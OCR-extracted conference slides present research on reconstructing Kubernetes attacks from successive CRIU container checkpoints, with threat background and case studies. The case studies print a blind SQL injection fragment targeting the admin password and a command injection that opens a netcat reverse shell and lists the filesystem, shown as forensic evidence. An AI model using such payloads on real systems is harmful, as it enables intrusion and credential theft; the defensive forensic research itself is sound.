M MU
o

Y,
17
1175

(@Q\ TI/‘)@/I&} 3\‘}?‘:‘}‘;
“wd " UNIMORE
7 S UNIVERSITA DEGLI STUDI DI LISBOA ]Ij ENGINEERING

& MODENAE REGGIO EMILIA . SCIENCE OXFORD

TE c N I co :Iﬂ DEPARTMENT OF

Forensic Analysis of Container Snapshot Chains

for Post-

-vent Reconstruction

Radostin Stoyanov - PhD Student, Scientific Computing Group
Collaboration with Lorena Goldoni, Adrian Reber, Christopher Hargreaves
Supervisors: Prof. Rodrigo Bruno, Prof. Wes Armour

’ ’ ‘ RedHat




Why Kubernetes forensics is hard?

How attackers stay stealthy in Kubernetes?
. Masquerade as legitimate workloads!"?!

. Leverage native tools & APIs (kubectl, bash, python)!" 2!

. Maintain persistence (e.g., DaemonSets, CronJobs)!"?!

« Exploit unpatched APIs/runtimes without disruption[3"*]

. Steal credentials silently!*!

[1]MITRE ATT&CK - Containers Matrix

[ 2] Microsoft's Threat Matrix for Kubernetes

[3]Kubernetes CVE Feed

[4]https://github.com/cdk-team/CDK 2



https://attack.mitre.org/matrices/enterprise/containers/
https://microsoft.github.io/Threat-Matrix-for-Kubernetes
https://kubernetes.io/docs/reference/issues-security/official-cve-feed/
https://github.com/cdk-team/CDK

Why Kubernetes forensics is hard?

Cloud-Native, Runtime-Focused Threats!"?!
« In-memory malware (no disk artifacts)
« Living-off-the-land binaries in containers (bash, wget, python)
- Exploiting container runtime & kernel interfaces
o e.qg., privilege escalation from Pod to node (CVE-2019-5736)

Kubernetes Attack Surface!?!

- API-based attacks: RBAC misconfigurations, token reuse, APl scraping
« Lateral movement via compromised service accounts
 Sidecar injection and workload mutation at runtime

[1] Cloud Native Security Whitepaper
[2]Microsoft's Threat Matrix for Kubernetes
3

[3]Microsoft Threat Intelligence, Understanding the Threat Landscape for Kubernetes and Containerized Assets .



https://www.cncf.io/reports/cloud-native-security-whitepaper/
https://microsoft.github.io/Threat-Matrix-for-Kubernetes
https://www.microsoft.com/en-us/security/blog/2025/04/23/understanding-the-threat-landscape-for-kubernetes-and-containerized-assets/

Why traditional forensics fails in Kubernetes?

Challenges with Classic Forensic Assumptions
« Assume static hosts and persistent storage
« Require node-level access and workload disruption
« Focusondisk artefacts, missing memory and runtime state
« Fail with ephemeral containers and rescheduled Pods

« Weak evidence attribution and chain of custody in clusters

Schmid et al. Limits to the Forensic Analysis of Container Applications in Cloud Environments. (2025)
Gharaibeh et al. Don't, Stop, Drop, Pause: Forensics of CONtainer CheckPOINTs (ConPoint). (2024)



https://doi.org/10.1145/3765629
https://dl.acm.org/doi/abs/10.1145/3664476.3670895

Our contributions

e Forensic Snapshot Chains(FSC)
o Uses successive checkpoints as a timeline to reconstruct events
o |nvestigate in-memory and fileless attacks in ephemeral containers

e Incremental Snapshot Acquisition
o Captures only the changes between snapshots
o Reducing performance overhead and storage requirements

e (Checkpoint Analysis

o Interpret successive forensic artifacts from checkpoint images
o Enable reconstruction of attack progression over time




What is a Forensic Container Snapshot?

From Alerts to Digital Evidence
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Forensic Readiness

A proactive approach ensuring systems and networks are prepared to efficiently
collect, preserve, and analyze evidence when a security incident occurs!'"

_________________________________________________________________________________________________________________

Jason Sachowski, Implementing Digital Forensic Readiness: From Reactive to Proactive Process. (2016)



https://doi.org/10.1016/C2015-0-00701-8

Threat Modeling

________________________________________

Control Plane

Control Plane

kube-scheduler kube scheduler

kubele

(a) Malicious Qutsider (b) Uninformed Insider (c) Malicious Insider

Cloud Native Security Whitepaper (2022) ]



https://www.cncf.io/reports/cloud-native-security-whitepaper/

© Transparent Checkpointing Snapshot Analysis
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Forensic Snapshot Chains

CJunmodified [lsoft-dirty [Isaved

_________________________________________________________

Container . 1CRIU ! .
E /proc/<PID>/clear_ refs =§ i E CheCkPOIntS
! /proc/<PID>/pagemap — E . .
:[Application ! ' 5 « Immutable image digests
! - 1+ | Generate Reset | . i
o 0]1 . 1 | Pagemap | | Tracking ! « Container IDs
! 2|3 ! E !
| oLl et : . Pod UIDs
| O le[7 + 1+ | Checkpointed Memory
| Zlala]\parasite]: | lrstsiatestoliomil | « Kubernetes Namespaces
"L E ol COOENN [ | s o
| = 213 ! i i : :
|~ Rals - T e 5 Timestamp Correlation
« Auditlogs
Forensic Chain-of-Custody  _-----_-. A\

pages-<PID>.img

« Checkpoint time
« Incident timeline

1
pages-<PID>.img |
1
1
1

page-map-<PID>.img E
page-map-<PID>.img :

_______________________ :<j e <:! Parent snapshot

initial snapshot incremental snapshot 10
S RshhaEOOEOLOGOEOLOOOOOOOOOOSSGSGSGSSSSSSSSS




Analysis of SQL Injection Attack

[PID: 1] Open Sockets [PID: 1] Open Sockets Process Tree
PID: 1
Protocol: TCP Protocol: TCP PPID: 0
Type: TCP Type: TCP PGID: 1
State: LISTEN State: LISTEN SID: 1
Source: 0.0.0.0 Source: 0.0.0.0 Threads: 1,
Source Port: 8000 Source Port: 8000
Destination: 0.0.0.0 Destination: 0.0.0.0 +
Send Buf: 16.0 KB Send Buf: 16.0 KB Memory Pages
Recv Buf: 128.0 KB Recv Buf: 128.0 KB 6dfla0 |....2 AND SUBSTR|
6df1b0 | ((SELECT passwor|
______________ 6dflc0 |d FROM users WHE |
Protocol: TCP 6df1d0 | RE name='admin') |
™ odfle0 | ,1,1)="7"....... |
Type: TCP
State: ESTABLISHED
Source: 127.0.0.1 TCP Stream
Source Port: 8000 >—| Input Queue: empty
Destination: 127.0.0.1 Output Queue: empty
Send Buf: 2.5 MB
Recv Buf: 128.0 KB
. 4 sec :
Checkpoint A (timet) |— | Checkpoint B(timet+4 sec)
. L >
Time 1



Analysis of Command Injection Attack

Time Checkpointed Process Tree

T [1]pwﬁiKH1E>[3]bash -c nslookup www.google.com;nc 10.15.0.14 4242 -e /bin/sh

@

[4]nslookup www.google.com

T+2 [l]python[:>[3]bash —-c nslookup www.google.com;nc 10.15.0.14 4242 -e /bin/sh

@

[5]/bin/sh

[5]/bin/sh EX[6]1ls -R -A /




Analysis of Command Injection Attack

1s

}

"KUBERNETES_PORT_443 TCP_PORT": "443",

"KUBERNETES_PORT 443_TCP_PROTO": "tcp",

"KUBERNETES_SERVICE HOST": "10.96.0.1",

"KUBERNETES_SERVICE_PORT": "443",

"KUBERNETES_SERVICE_PORT_HTTPS": "443",

"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"PWD": ||/u,

"SHLVL": "1n’

"TERM": "xterm"

hildren": [
{
up_-Ldu: 6,
"command": "[B",
"emdline": "ls -R -A / ",
"environment_variables":
"HOME": "/root",
"HOSTNAME": "dsvw-5f5d648cf-fsgqs”,
"KUBERNETES_PORT": "tcp://QR.96.0.1:443",
"KUBERNETES_PORT_443 TCP": %
"KUBERNETES_PORT 443 _TCP_ADDR": ‘w=ep.
"KUBERNETES_PORT 443 TCP_PORT": "443",
"KUBERNETES_PORT_443 TCP_PROTO": "tcp",
"KUBERNETES_SERVICE_HOST": "10.96.0.1",
"KUBERNETES_SERVICE_PORT": "443",
"KUBERNETES_SERVICE_PORT_HTTPS": "443",
"PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",



https://youtu.be/S1JbozMKhZo
https://youtu.be/S1JbozMKhZo
https://youtu.be/S1JbozMKhZo

Key [akeaways

e [etection # Investigation
o Security alerts detect incidents
o Forensic investigations explain what happened, how, and why

e T[raditional forensic technigues do not fit Kubernetes
o Kubernetes = Ephemeral containers + dynamic state-reconciliation
o Modern malware is memory-resident (fileless)

e Forensic snapshots preserve runtime evidence
o Snapshots are taken without stopping workloads or alerting attackers
o Capture memory, processes, and network state from live containers
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Summary & Questions?

e Kubernetes attacks reside in the runtime state

e Alerts alone are not evidence
github.com/checkpoint-restore/checkpointctl

e Container snapshots preserve evidence that

criu.org/Kubernetes would otherwise be lost

‘ Red Hat



https://github.com/checkpoint-restore/checkpointctl
https://criu.org/Kubernetes

